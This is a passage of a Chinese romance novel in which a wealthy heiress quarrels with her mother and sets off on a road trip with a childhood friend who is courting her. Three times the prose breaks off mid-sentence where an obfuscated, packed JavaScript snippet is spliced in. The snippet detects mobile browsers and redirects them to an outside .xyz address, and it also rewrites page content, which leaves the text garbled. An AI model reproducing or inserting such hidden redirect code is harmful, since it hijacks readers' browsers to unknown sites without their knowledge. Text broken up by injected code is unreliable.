邬玉瑾脸色不霁:“整天看这些闲书,心思没有一分放在正事上。” “你怎么进我房间不敲门。”邬雪青皱眉。 邬玉瑾拉过椅子坐下,道:“跟你谈谈。” “谈什么?” “我那有家分公司,缺个市场营销总监……” 不等她说完,邬雪青就直接拒绝:“我不去。” 邬玉瑾没有说话,她心口起伏了几下,强压住了火。 静了那么十来秒,邬玉瑾问:“那你想做什么?” “我什么都不想做!”邬雪青忍不住烦躁,声音先呛了起来。 邬玉瑾面色一沉,没发怒,但重重呼吸了两次,“既然你不想去我那,那就去你爸那。待会我和你爸通个电话,你不要想着好高骛远,先从部门工作做起,熟悉工作内容,收收你这散漫的性子。” “上完小学上中学,上完中学又大学,上完大学又留学。硕士,博士,士士通达,论文一摞,脑袋空空如麻!学还没上明白又要上班,恨不得上厕所都掐表,请问邬女士,在我们家休息两天是违法吗?” 邬玉瑾突然又发飙了,她将杂志往茶几一摔,杂志径直弹飞到了地上:“你倒是光练嘴皮子了!跃界鞋业的小女儿吴平雅,和你以前是同班同学吧?人家现在是海外市场总裁!栖木集团的江虹雨,比你还小一岁吧?人家现在把自媒体做得风生水起,还每周亲自做直播。隔壁老叶家的儿子,自己创业也做得有声有色。你呢?你小时候不比他们任何人差吧?越活越不如以前了!我真不知道你这几年在国外都干些什么!” “睡觉!躺平!做梦!行了吧?!” “就不该让你爸把你接过去!以前你是很听话的。姥姥姥爷都夸你懂事,聪明,自从被你爸接去带了两年,脾气大了,花钱也是大手大脚。你爸的副卡你刷爆了两张,你爸都有跟我讲,不要以为你只找你爸要钱我就不知道你在外面都干了些什么!” “我花我爸的钱,他都没有不乐意,您管不着吧?” “那是夫妻共同财产,现在还轮不到你继承!” “啊,我想起来了,你们虽然分居了23年,但还没离婚呢。和您这么一比较,我既没有二十岁早婚早育搞出个孩子丢给你带,也没有乱搞男女关系丢您的脸,也算不错了吧?” “啪”一声脆响,一个火辣的耳光烫在了邬雪青脸上。 邬玉瑾指着她,气得胸口翻涌,厉声喝道:“你既然只想当个废物,就给我滚出这个家,不要在我面前碍我的眼!” 脸很疼,脑袋很木。 但理智却很清醒。 邬雪青挺直肩背,平静道:“邬女士,这是我的房间,要走也是请您出去。” 4. 第四章 晚上十一点多,叶嘉木接到一朋友电话,说邬大小姐在他们那边喝多了,还动手打了人。 他风尘仆仆赶到宴客会所时,人群已经散得差不多了。 今晚是栖木集团千金江虹雨的生日会。 叶嘉木也收到了请柬,交情不怎么近,他交代秘书送份礼过去,转头就忘了,没想到邬雪青会参加。 去就算了,竟然还喝了个烂醉打了人。 被打的是个女大学生。 叶嘉木到的时候就看见砸了满地的玻璃杯碎片和蛋糕碟子。 大小姐搭着腿,支着下颌倚着沙发闭目养神。 沙发另一侧,被打了的小姑娘捂着脸颊呜呜呜地哭,身边围了三四个好姐妹敢怒不敢言地瞪着邬雪青。 叶嘉木大致了解了一下经过。 被打的姑娘不知道说了句什么话,惹恼了大小姐,大小姐一杯酒泼了过去,抬腕又一个巴掌扇了过去。 没报警。 江虹雨拦着了,毕竟今天是她生日,闹得警察过来不像话。 她说来的女大学生是她妹妹的同学。 姓季,叫季真。 说到姓的时候江虹雨瞄了邬大小姐一眼,有意放低了声音。这个圈子里,很多事情都见怪不怪。 本来只是一个姓,谁也没多想。 但打起来了,就很难不让人多想了。 “季小姐要验伤吗?” 季真抬头看向眼前高大、笑容温和的男人,却下意识一瑟缩。 “真真,必须要他们赔医药费!”姐妹们义愤填膺地帮腔。 季真眼泪汪汪,我见犹怜地啜泣着,摇头说:“算了。” “真真,你别太包子了!她敢打人就要赔钱!” 叶嘉木打断了一群人的七嘴八舌,看了眼手机,平淡说:“季真,原名赵真,渤州人,16岁转学到隅州博斯德国际学校,现就读于隅海大学旅游管理专业,你妈妈周艳黎在季氏集团任大客户经理……” 季真脸色一白,惊慌地看着他。 叶嘉木淡淡一笑,关了手机,绅士地点到为止:“赵小姐家庭不说殷实,也算小康,不至于要讹这点赔偿的,对吧?” “渤州?真真,你不是隅州本地人吗?” 季真白着脸解释:“老家在渤州而已,我是在隅州长大的……” 江虹雨脸色不大好地将这帮人送出去,忍不住训斥妹妹:“你连这些朋友是什么家庭背景都不清楚就带这里来,丢人现眼!” 江虹雨妹妹辩驳道:“怎么说也是先动手打人的不对!” “那怎么不抽你只抽她?这个季真季假的惹她邬大小姐干嘛?一个情妇的女儿,还不一定是季总的孩子,不夹着尾巴做人,还在正牌女儿面前显摆来显摆去,不是欠抽吗?” 江虹雨妹妹有点懵,根本没听懂刚刚大人们那些你来我往的对话潜台词,“什么情妇?你们在说什么?” “你这脑子里全是水,怪不得被人当枪使。”江虹雨无语道。 江虹雨虽然发了请柬,但没想到邬雪青会来。 和其他几家一大堆兄弟姐妹争权夺利的情况不一样,邬雪青是季氏集团董事长和隅州邬家长女的独生女。 父母强强联姻,她是正儿八经含着金汤匙出生,这辈子吃过最苦的苦大概就是冰美式了。 邬大小姐一贯目中无人,连装也懒得装,从小到大都是抬着下巴走路。她们认识多年也不过是点头之交。 结果还偏偏这么寸,在她的生日宴上让邬大小姐碰上了“脏东西”。 这件事谁对谁错,谁动的手,都不重要。 几家的长辈多多少少是有些交情的,犯不着为了个外人惹她邬大小姐不高兴。 江虹雨回过身,又摆上了笑脸:“雪青,那小白莲我给轰走了,怪我那傻妹妹交友不慎,你可别为了那种东西生气。” “殿下,回家了。” 叶嘉木半蹲在邬雪青面前,伸手握住了她冰冷的手指。 邬雪青睁开眼皮掠了他一眼,又闭上了眼睛。 “江小姐,帮个忙。” 叶嘉木转过身,拍了拍肩膀。 江虹雨帮忙扶了一下,千恩万谢叶大少爷把这尊大佛请走。 叶嘉木将公主殿下背出了会所。 她白皙的手臂落在他颈前,侧脸贴着他肩膀,凉得像一块果冻。 “殿下,我给你当牛做马,你是不是应该表示表示?” 邬雪青侧头盯着路道旁的电子广告显示屏看。 是一则旅游团的宣传广告,日照雪山的风景一侧有八个大字——圣境西藏,心灵净地。 - “真的只带这么一点行李?” 叶嘉木将她那迷你行李箱放进后备箱,又问了一次。 他一扭头,只看见了公主殿下头也不回上车的后脑勺。 宽大的墨镜遮住殿下大半张脸,露出的下半张脸没有任何表情。 低气压。 沉得像参加丧仪。 在他准备自驾入藏的前一晚,隔壁邵叔来找他聊了一整夜。 第二天一早,公主殿下出门,上了他的车。 “和邬姨又吵起来了?”他拉开后车门,弯腰拉过安全带。 邬雪青扭开头去,望向窗外。 叶嘉木把安全带给她扣上,又把放在后座上的箱子打开:“殿下,水、零食、晕车药在这,毯子、头枕、眼罩、充电宝在你脑袋后边。今天开六个小时到武汉,中间会在六安和麻城服务区休息,有什么不舒服或者想上洗手间了,和我说,我找服务区停车。” “我到武汉就走。”她言简意赅。 叶嘉木一顿,思索片刻,他笑眯眯点头:“行,那到武汉我就送你去酒店。” 秋日已至,风和日暄。 叶嘉木戴上了墨镜,心情颇好地发动了车。 黝黑高大的悍马穿过城市中心,宛如一匹健硕的成马奔向自由的原野。 上了高速后,山峦起伏,两侧风景大同小异。 叶嘉木往后视镜看了一眼。 邬雪青戴着墨镜微抬着下颌,看不出是在睡觉还是走神。 “雪青,还有一个小时到六安服务站,需不需要上洗手间?” “不。” “没睡啊?” “嗯。” “那我放点音乐,有你想听的歌吗?” “随便。” 叶嘉木侧头和车载智能助手道:“打开音乐。” “好的,音乐已打开。” “播放一路向北。” 安静的车厢内被富有节奏感的韵律带动,呼啸着穿越平直的公路。 邬雪青头抵着靠枕,抱着胳膊闭上了眼睛。 一个小时后,抵达了安徽六安服务区。 发觉她睡着了,叶嘉木先下车去了一趟洗手间,可等他再回来,只看见抱枕扔在一侧,车里已经没有人了。 叶嘉木心里咯噔了一下,反手甩上车门,摘下墨镜挂在衬衫上,往服务区四周逡巡。 好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996352|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,在树木掩隐的小道后,他看见醒目的砂缎长裙逶迤垂地,裹着披肩的殿下正坐在日光下搭着腿喝咖啡。 把服务区坐出了巴黎香榭丽大街的小资氛围。 他大步走过去:“怎么坐这来了?” 殿下似乎从墨镜下扫了他一眼。 白净的下巴高抬着,淡粉的唇下撇,又抿了一口咖啡。 叶嘉木弯腰往亭子里看一眼,是个没人的小安保亭。 他也拉了条椅子出来,挨着邬雪青坐下。 “今天这天气,晒晒太阳还挺舒服。”他眯着眼睛说。 邬雪青“嗯”一声。 “聊聊呗,怎么突然想出来玩了,是不是被邬姨念叨得受不了了?”叶嘉木问。 邬雪青用指节抵了下墨镜,洁白的脸颊上像覆了一层冰霜,绷着下颌,没有一点笑意。 “我猜猜,”叶嘉木倚着靠椅,侧头看着她,“你妈妈想要你去公司上班,对不对?” “你真是她肚子里的蛔虫。”邬雪青皮笑肉不笑地扯了下嘴角。 “我还猜邬姨不是随便说说,在你没回来前,邬姨就已经给你规划好了,从部门工作到主持集团,从总监、执行总裁、总裁到董事,万无一失。” “她目光长远,我不识好歹,行了吧?” 邬雪青听烦了,起身要走。 叶嘉木说:“但我不觉得你不想做就不对。” 邬雪青一顿,又坐了回来。 叶嘉木嘴角弯了一下。 叶嘉木眯着眼睛看晴空,抻开长腿:“我爸做医药,他觉得我最好的选择是学医或者跟着他做生意,至少他能给我铺路,所以我一开始创业的时候,我爸是最不理解、最反对的一个。” “现在呢?” 叶嘉木笑道:“我属于阳奉阴违,嘴上好好好,实际一条道走到黑,他说累了,懒得说了。” “挺好,百炼磨成钢。” 叶嘉木纠正说:“我这是死猪不怕开水烫了。” 邬雪青扑哧一下笑了。 “在他们眼里,总觉得我们还是那个走路摇摇晃晃的小孩,所以不放心我们能决定自己的人生。给时间时间,总有一天,会互相理解的。” “大道理一套一套的,有本事下回你和我妈去对线。” 叶嘉木直起身,高抬起眉,“可以,没问题。唯一的问题是我以什么身份呢?” 邬雪青扭头看着他。 浮光在他们之间跳跃,他的眼睛亮如晨星。 邬雪青突然有点想笑,她抿了下唇,慢慢说:“以我妈干儿子身份给你姐辩护两句。” “姐——?”叶嘉木和被火燎尾巴的猫似的一下炸了毛,“邬雪青!我们是一天出生的!” 邬雪青伸手比了个“2”,“不好意思,我比你早两分钟生出来。” “可你是早产的!” 她耸耸肩,“事实就是事实,不承认的话,那你去问当时的医生,我是不是比你早两分钟剖出来。” “你比我小一个月,你才是妹妹,邬雪青!” 邬雪青不和不尊重客观事实的人做无谓争执,起身就走,还比着两根手指晃了晃。 关于他俩谁大谁小,这事一直是叶嘉木心里过不去的坎。 叶嘉木气得要心梗了,“我比你大一个月,邬雪青,我才是足月出生的!!” 她绝对有气死苏格拉底的本领。 叶嘉木想和她理论出个高低,她上了车,将耳塞一戴,眼罩一戴,倒头就睡,拒不沟通。 5. 第五章 开车到日落。 抵达武汉时,天色已黑。 邬雪青睡得迷迷糊糊,忽然感觉睫毛发痒,伸手摸了摸,迷迷瞪瞪睁眼,就看见叶嘉木凑得极近的脸。 她一惊,撑着椅背坐直,瞪圆了眼仓促问:“干什么?” “醒了?”叶嘉木心虚地收回了拨弄她长睫毛的手指,轻咳一声,手指搭在车顶上敲了敲,问她,“殿下,我采访一下,是怎么做到一天能睡十几个小时的?” 邬雪青揉了揉眼睛,“烦不烦啊你,到哪里了?” 眼罩已经飞到了额头上,一双小猫似的圆眼半睡半醒,脸颊压出了一片红印。 叶嘉木手欠,忍不住捏了一下她的脸颊肉,不负众望地又挨了一巴掌。 巴掌扇过来,先传来的是芳香,温柔细腻的掌心贴一下脸颊,像不伸爪的小猫揍人,连丝毫的疼痛也没有。 看着摸着脸颊笑的男人,邬雪青:“……” 此人有病。 叶嘉木清清嗓子,声音放得很和缓:“饿了吧?到饭店了,吃完饭我们就去酒店休息。” 她挪挪腿,钻出车,整个人还犯困,脑袋蔫蔫的:“吃什么?” 越野车比一般车底盘要高,叶嘉木伸手扶了她一把,还没等她踩到踏板,宽大的手掌就托着她腰,干脆将她抱下了车。 邬雪青瞪圆了眼睛看他。 叶嘉木顺手给她摘了眼罩丢回车里,说:“地方菜,不过你胃不好,就别吃太辣的。” “……哦。” 叶嘉木纳罕,觉得她今天脾气好得有些匪夷所思了。 没睡醒的殿下大概只有两种状态,一种是极度狂躁,另一种是极度好说话。 看来这会儿是后者。 开了大半天车,叶嘉木眼角眉梢还都是春风满面的笑意,仿佛打了鸡血。 邬雪青侧目而视,觉得此人难以用常理解释,已经不像碳基生物了。 虽然不是寒暑假的旅游旺季,但来餐厅用餐的人还是不少。他们没有提前预约,得取号排队,一看号码,前面还排了二十来桌。 邬雪青哈欠连天,正想说算了,已经不想吃了。 他道:“等我两分钟。” 迷迷瞪瞪的,邬雪青“唔”一声。 约莫几分钟后,叶嘉木回来了,他道:“走吧,可以去吃饭了。” “不是要排队吗?”邬雪青又捂唇打个哈欠。 “大厅人太多了,又热,花钱跟人换了个近的包厢号码。” “要不……” 她叹口气,哈欠一打,刚发出两个音节,叶嘉木就猜到她想说什么了。 “不可以不吃。” 叶嘉木走在她身后,双手推着她肩膀,不容她打退堂鼓,直接“绑架”上了二楼。 “干嘛呀!” “不吃饭晚上会饿,而且你不是明天不和我走了吗,今天也应该一起吃个饭吧?” 也行吧。 想着马上就要分道扬镳了,邬雪青也就勉强同意了。 点了菜,正等着,忽然听楼下一阵欢呼。 邬雪青侧眼往下一看,瞧见十来个拎着剑的帅哥走上舞台,好奇地多看了一会儿。 十几张清俊帅气的脸,都是大高个,制雾机一开,仙气飘飘,大厅女生们集体欢呼尖叫。 正说话呢,发觉她走神,叶嘉木走到了邬雪青身后,探头往下一看,顿时重重地“啧”了一声。 她回头瞪他:“你干嘛?” “至于吗,看得眼睛都不眨了?” 邬雪青翻了个白眼:“管天管地,你还能管得着我眼睛朝哪里看?” “这些人根本不会舞剑,有什么好看的?” 陈年醋味都要从他嗓子眼里钻出来,熏一楼大厅里去了。 邬雪青懒得跟他掰扯,“你这么会评价,有本事你上去舞一段。” “那我要是上去了,能有什么表示吗?” 邬雪青卯定他没这能耐,哼笑:“你要是能比划得比他们都好,这顿饭我买单。” “不需要你买单,但你要答应我一件事。” 居然敢这么信誓旦旦,邬雪青往后一靠,笑道:“行啊,我看看你这牛皮吹出去,怎么拽回来。” 叶嘉木还真下去了。 邬雪青好整以暇,还掏出了手机,就准备看他待会怎么临阵脱逃。 “哥们,道具能给我试试吗?” 楼下,叶嘉木脱了冲锋衣外套,随意撂在扶手上,露出卷起袖口的黑色T恤和线条硬朗的臂膀肌肉,落落大方地走了过去。 正式表演还没开始,演员乐得有观众来互动,扔了一把剑给他。 叶嘉木接过舞蹈演员丢来的剑,一个跨步迈上舞台。 没着急开始,叶嘉木仰头往上看,对上了邬雪青的目光,确定她在看,他抬起手比了个OK。 对上好几道看过来的目光,邬雪青脸皮没楼下社牛那么厚,默默撤回了一个脑袋。 “殿下,你别不看啊!”他带着笑喊道。 邬雪青默默又露出来半只眼睛,威胁地挥舞了下拳头。 太可爱了! 叶嘉木被萌翻了。 今天这可不能玩砸了,砸了不得被她笑半辈子。 叶嘉木调节了下呼吸和心理节奏。 偏偏越怕什么越来什么。 他将剑背在身后,先在手里转了两圈。 第一圈时,剑丝滑挽了个剑花,可下一秒剑就从他手里飞了出去,丝滑地掉在了地上。 整段垮掉,台下顿时开始喝倒彩。 有些男观众更是嚷嚷着:“哥们你行不行啊?不行就下去吧,别丢脸了!” 邬雪青脸色沉了沉,不快的目光往那些喝倒彩的人身上扫去。 叶嘉木倒是看着还很镇定,一点也不害臊,他捡起剑,笑着一抱拳。 失误了,这种道具剑都特别轻,不能那么大开大合。一回生,二回熟。叶嘉木有了心理预判,拎着剑一侧身,反手挽剑,提腕干脆,运剑利落一起势。 那软得像纸片的道具剑一瞬间变了,在他手上仿佛被注入真气,银光频闪,剑气锐利。 台下喝倒彩的声音渐渐消失了,长了眼睛的都看得出这人真是练家子。 一整套剑法耍得行云流水、刚劲有力。 最后剑指一划,收剑落定,他抬眼,亮如澄澈明镜般的眼眸带着些小得意地仰头看向二楼。 舞台下的观众终于回过神,一时间掌声、喝彩声不绝于耳。 邬雪青在人声鼎沸中同他对视。 青年意气风发,眉眼飞扬。 “再来一段,再来一段!” 观众们高喊着。 叶嘉木笑着将剑给回给演员,跳下舞台,抄起外套大步消失在长梯上。 包间门被推开。 邬雪青一转头,适才还在楼下大放异彩的人,此刻已经到了她面前。 叶嘉木出了汗,额发黏在脸上,他道:“没骗你吧,我真会。” “什么时候学的?”邬雪青支着下巴问他。 “少林寺的童子功。你忘了?我小学每个暑假都去少林寺夏令营。” 的确,每年暑假叶嘉木都会消失一段时间,还神秘兮兮说他要去学武林秘籍,以后就能变成会飞檐走壁的大侠。 飞是不可能的,黑倒是越来越黑,变成红焖的大虾还差不多。 真让他装到了。 邬雪青在心里啧啧。 他骤然弯腰和她对视:“殿下,我表演完了,你不表示表示?” 邬雪青往后一仰,稍顿了一下,随即故作敷衍地鼓了鼓掌:“厉害厉害。” 叶嘉木却很受用:“别忘了你刚刚可答应我……” 服务生端着菜来了,邬雪青用一根手指推开他肩膀,丝滑地转移了话题:“我饿了,快吃饭吧。” 叶嘉木漫不经心地笑。 他不着急要她兑现承诺,反正他现在有了她的把柄在手上。 他不慌不忙地拉开她旁边的椅子坐下。 那么大的桌子,他偏偏要挨着她坐。 邬雪青搬着椅子想往旁边挪。 搬了一下,没搬动,一低头,叶嘉木的长腿正抵在她椅子下。 他夹了只虾慢慢剥壳,慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996353|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条斯理道:“殿下,我们来日方长,别着急跑。” “不要脸。”她低骂。 他脸上挂着笑,将剥好的虾放进她盘子里,“脸又不能换钱,在你面前可不能太要脸。” 邬雪青脸颊有些发烫,低骂了句人间油物,拿叉子用力戳了下虾。 吃完饭离开时,还有人记得他刚刚舞的剑,吆喝着:“帅哥,再来几下呗!” 叶嘉木走在邬雪青身后,遗憾地摇头,指指邬雪青,又比划了一下脖子,做了个吐舌头的表情。 观众心领神会,揶揄地笑了起来。 邬雪青脚步一顿,狐疑地转头看他。 叶嘉木立刻收敛,又摆出了一本正经的模样,抱拳向人摆了摆,表示感谢抬爱。 不知想到什么,她突然扑哧笑了一下。 如春风融雪,艳赛繁花。 他怔了一瞬,眉眼温温弯起,连锋利的眉宇也柔和下来。 开心的时刻总是短暂的。 到达酒店后,邬雪青就准备和叶嘉木大道朝天,各走一边了:“明天不用再叫我,你自己出发,我可不会跟你去西藏。” 叶嘉木撑住她门,低头问她:“那你打算在武汉待多久?” “没计划,待到想回去了为止。” 她推了一下门,没推动。 “那有打算去哪里玩吗?” “不打算,这么热的天,傻子才往外跑。” 傻子叶嘉木:“……” 思考片刻,叶嘉木先退一步:“行,那你先休息吧,明天八点,我来叫你吃早餐。” “八点?”这个时间简直匪夷所思,邬雪青毫不留情地拒绝,“疯了吧!不可能,别叫我!” 她“啪”一下拍上了门。 差点被门拍扁鼻梁,叶嘉木摸摸鼻头,不知想到什么,他又笑了,心情愉悦地回了自己房间。 第二天早上,准时八点整。 先是手机哇哇响,邬雪青不耐烦地把手机关机,拿被子蒙住脑袋后,又听见了门铃的响声。 “叮铃——叮铃——叮铃——” 铃声锲而不舍,按了数分钟之久。 叶嘉木,这个精力过盛的神经病!! 她要把他大卸八块!! 邬雪青顶着满身煞气一把拉开门,和门外穿着保洁制服的阿姨撞了个对眼。 阿姨犹豫问:“您好,是您的房间需要客房服务吗?” “不用……” 她刚开口,叶嘉木就从她隔壁的房间走了出来,很讶异地道:“这么巧,你也刚醒?” 邬雪青:“……” 她后槽牙发痒,想吃人肉。 就在她要甩上门的时候,叶嘉木先一步用长腿抵住了门缝,推开门道:“既然醒都醒了,一块去吃个早餐?吃完我就往重庆去了。” 邬雪青胸口气涌了两下,磨着牙问:“说到做到?” “嗯,说到做到。” 为了把这瘟神打发走,邬雪青没好气道:“那也等我先换衣服!” “去吧,我给你把着门。”他将门掩上。 保洁阿姨还在,对着工作记录疑惑道:“是这间房叫的客房服务啊……” 叶嘉木笑着说:“是我刚刚打的客房服务电话,可能说错房间号了,麻烦您帮我把旁边房间垃圾稍微收拾一下。” “啊,好。” 阿姨进了他的房间。 很干净的套房,行李都整整齐齐打包起来,没有烟味,更没有烟蒂,连床也铺得整整齐齐了。 阿姨转一圈,没看出什么要打扫的,最后只把床铺重新换了一下,把床头垃圾袋和浴室垃圾袋拎走。 阿姨都走了,邬雪青还没换好衣服。 叶嘉木也不着急,耐心地倚着墙等着。 邬雪青有意磨蹭,想先把某个人耐心耗没,结果她又换衣服又化妆,弄了一个多小时,一拉开门,瘟神竟然还兢兢业业站在门口守岗。 他垂着眉眼看手机,不笑时,冷硬的侧脸显得有些冷峻不近人情。 听见开门声,他没回头,先懒洋洋开口:“殿下,早上想吃什么啊?” 6. 第六章 “这么热的天,就在外面吃啊?” 邬雪青顺手放下车窗,刹那间,嘈杂的人声和热浪一同涌进车内。 人行道两侧小桌椅坐满了人。 邬雪青从来没见过这种场面,好奇地四处打量。她那偏安一隅的世界好像被霍然打开了,短暂往外一窥,发觉这个世界上原来还有这样的生活方式。 “早高峰,店里不够坐,你看,还有端着面边走边吃的。” 叶嘉木朝前抬抬下巴。 只见一个胳膊挂着公文包的中年男子,端着碗面边唆边快步横穿马路,轻车熟路,仿佛游走在自家客厅。 邬雪青看了眼人行道指示灯,大为震撼,“这不是红灯吗?他就这么走过去了?” “忘了和你说了,这会儿早高峰肯定得堵一阵,你现在饿不饿?” “还行……” 这一幕太别开生面了。 早上人流量大,马路堵得寸步难移。 过绿灯的车和闯红灯的人互不相让。行人迈着有本事你就来撞的雄赳赳气昂昂的步伐,大步迈过马路。经过人行道的车也不减速,有种我铁包肉,你肉包铁,试试谁更硬的派头。小小一个十字路口挤出了春运般的热闹。 “我们中午前能吃到早餐吗?”她不太确定地问。 叶嘉木回头看她,商榷道:“要不然我靠边停车,我们走过去?” 邬雪青看看头顶的大太阳,认真考虑了一下,“远吗?” “要走个几分钟吧,开车估计还得堵半个多小时。” “那走路吧,这太恐怖了,万一不小心撞到人……” 她发现了,因为他们的车是外地牌照,闯红灯的简直和认准他们一定会让行一样,专门从他们车前面横穿马路。 叶嘉木龟速挪到转向道,在路边找了个就近的车位停车。 车里闷,外面晒。 邬雪青看看烈日,将披肩盖住头,戴上墨镜,做足了心理准备,这才弯腰下车。 “好晒啊。”她抱怨了一声。 “车上没有放太阳伞,忍耐一下,待会我去给你买一把。”叶嘉木给她关上车门,看她包得木乃伊一样,好笑道,“殿下,你什么时候变成不能见光的吸血鬼了?” 邬雪青呲了下牙,“我要是吸血鬼,第一个就先咬你。” “哎哟,那我可太荣幸了。” “………” 厚颜无耻。 “这么大的太阳,我才不要晒。”邬雪青拽拽披肩遮住额头,“也用不着你买伞,反正我又不跟你去西藏。” “是吗?别忘了你还要答应我一个要求。” “哼哼,这个就算你提了,我也不会答应的。” 他弯弯唇角,“从你这拿一张许愿卡不容易,我不会随便用的。” 邬雪青说:“我建议你早点用,过段时间说不定我就忘了。” “我会提醒你想起来的。” 他们有一句没一句地互呛着。 路上人来人往,邬雪青蒙着披肩,像裹在蜗牛壳里的软体动物,引得路人频频回头看她。 她步伐很慢,闲庭信步般慵懒。 一年四季对邬雪青来说都没有实感,因为无论去哪儿都有开着空调的豪车接送,去哪儿都一定是温度适宜的室内。 记忆里从来没有这么炎热的秋天。 不过太久没走远路,走两步就开始脚疼,邬雪青皱眉扭了扭脚脖子。 “怎么了?”叶嘉木低头问。 “没怎么。”她重新抬起头,拉着披肩扇扇风,“还有多远啊,我都快热死了。” “我的大小姐,”叶嘉木回头看了眼,简直啼笑皆非,“我们这才走了不到五百米。” “你说就几分钟的,我们已经走了快十分钟了。” “你看看我俩现在的速度,路上的蚂蚁都快被我们踩死了。” “你是嫌我走得慢了?” 邬雪青双手叉腰,抬着头瞪他。 叶嘉木学着她的模样叉腰,俯身盯着她,“大小姐,能讲点道理吗?我没有嫌弃你,只是阐述事实。” 他居然还反驳她! 邬雪青嘴巴抿了一下,不受他这个气,扭头就往回走。 “错了。”叶嘉木一把拉住了她胳膊,丝滑地滑跪,“别问我错哪了,反正就是我错了。” 邬雪青用力甩了一下胳膊,没甩动。 “热的话,我们就走快点,过完马路就到了,好不好?” 他哄着她,拉着她手臂大步往前走,邬雪青脚下趔趄了一下,不得不跟着小步跑起来。 她用力想挣开他手掌。 可她这手不能提肩不能抗的体质,哪能和他一个天天搞户外运动的人比力气。他不过虚虚攥着,她就怎么都甩不开了。 扑面而来的热风吹开了她的披肩,邬雪青侧头躲了下刺眼的阳光。 叶嘉木在笑。 尽管他也不知道自己在笑什么,但能和这位睡美人兼莴苣公主殿下一块出门,他真挺开心的。 一回头,看见她暴露在太阳下的脸,白得太醒目了,他脚步一停,扶住了她肩膀。 邬雪青真是烦死他了,正拧手腕较劲,他先松开了手,将她飘落的披肩盖回了她头上。 太热了,太阳也太大了。 她感到炽热的暖风正穿过他而扑向她。 暖意密不透气,闷湿的汗从她的额角溢出,又被他的手指轻轻揩掉。 炎热、喧闹、一点点眩晕。 她有一刻分不清自己是在现实里,还是在某个虚拟世界内。 她低头看看自己手,又看看四周,好像有一瞬间,笼罩在她身上的光,又覆盖到了整个世界上,然而仅仅是几秒,很快,她又觉得从身边走过去的路人又都只是辨不清面目的甲乙丙丁。 “怎么了,发什么呆?中暑了?” 叶嘉木伸手摸了摸她额头。 她抬头看他。 她眼睛里叶嘉木的颜色却很深。 犹豫片刻,她摇了摇头。 走了十几分钟,他们才到今天吃早餐的店。 小小一个店,大抵是位置比较偏僻,和外面热闹的街道比起来,只有两三桌的生意显得有些冷清了。 桌椅板凳都很新,看得出刚营业没多久。老板大概在后厨忙活,前台甚至没有人。 邬雪青在靠近空调的位置坐了下来。 桌上有个二维码,叶嘉木扫了一下,将手机递给她,让她看看想吃什么。 邬雪青划拉了一下电子菜单。 照片完全没有任何修饰成分,甚至还能看到后厨的工作环境。 她没在这种苍蝇馆子里吃过东西,难免有点坐立难安。 “选好了吗?”叶嘉木问她。 邬雪青不动声色把手机推回给他:“我不是很饿……一小杯豆浆吧。” “就喝豆浆?” 她点头,“嗯。” “他们家的热干面挺好吃的,热米酒也不错,包子是厨师一大早现做的。” 邬雪青皱眉。 叶嘉木看着她犹豫的神情,笑道:“那先尝尝甜米酒吧,就当尝鲜了。” 邬雪青看了下图片,感觉米酒就像稀饭。 不一定多好吃,但应该至少是干净的吧? 她勉强地“嗯”一声。 下了单,很快,一位挺着肚子的中年妇女端着餐盘从后厨走了出来,还没走到他们桌子边,就认出了叶嘉木,用方言喊道:“叶总,你么样来了噻,也不提前说一声!” “王姐,我又来打扰了。”叶嘉木笑着站起了身,想接过餐盘。 女人赶紧道:“莫搞莫搞,你是客,我来搞。” 叶嘉木也不争了,又坐下来,解释道:“我准备进藏了,路过武汉,顺路来你这吃个早餐。” “那你们这趟子打算搞多久呀?” “11月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996354|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前回来吧。” “倒还阔以,过了十一月冷得打抖抖,有些路一封就过不去了唦。”女人张罗着把早餐一一摆好,视线往邬雪青身上瞥了好几次,揶揄地问叶嘉木,“你女朋友啊?蛮标志咧!” 方言不太听得懂,但后面那句邬雪青听懂了,一下被水呛到,侧过头咳了起来。 “不是,我……”叶嘉木扯了几张纸递给邬雪青,话仿佛烫嘴,他“我”了好一会儿才说出来,“就,朋友。” “哦!那是还没追到噻?莫灰心咧!”她挤挤眉眼,又和邬雪青道,“叶总人真的不错,还从来没看他带其他女孩子出来过,你给他个机会嘛。” 邬雪青刚缓过来一点,又呛得米酒要从鼻子里喷出来了,咳了个惊天动地。 叶嘉木哭笑不得:“您去忙吧,我们这老熟人了,就不用招呼了。” 现在小年轻脸皮薄得呢。 老板娘笑着走了。 “老板开玩笑的,你别当真。” 叶嘉木抽了纸,犹豫了一下,还是伸手给她轻轻擦掉唇侧的水渍。 邬雪青侧头撇开他的手,环顾了一下这小店,道:“叶嘉木,你是故意带我来这的吧?” 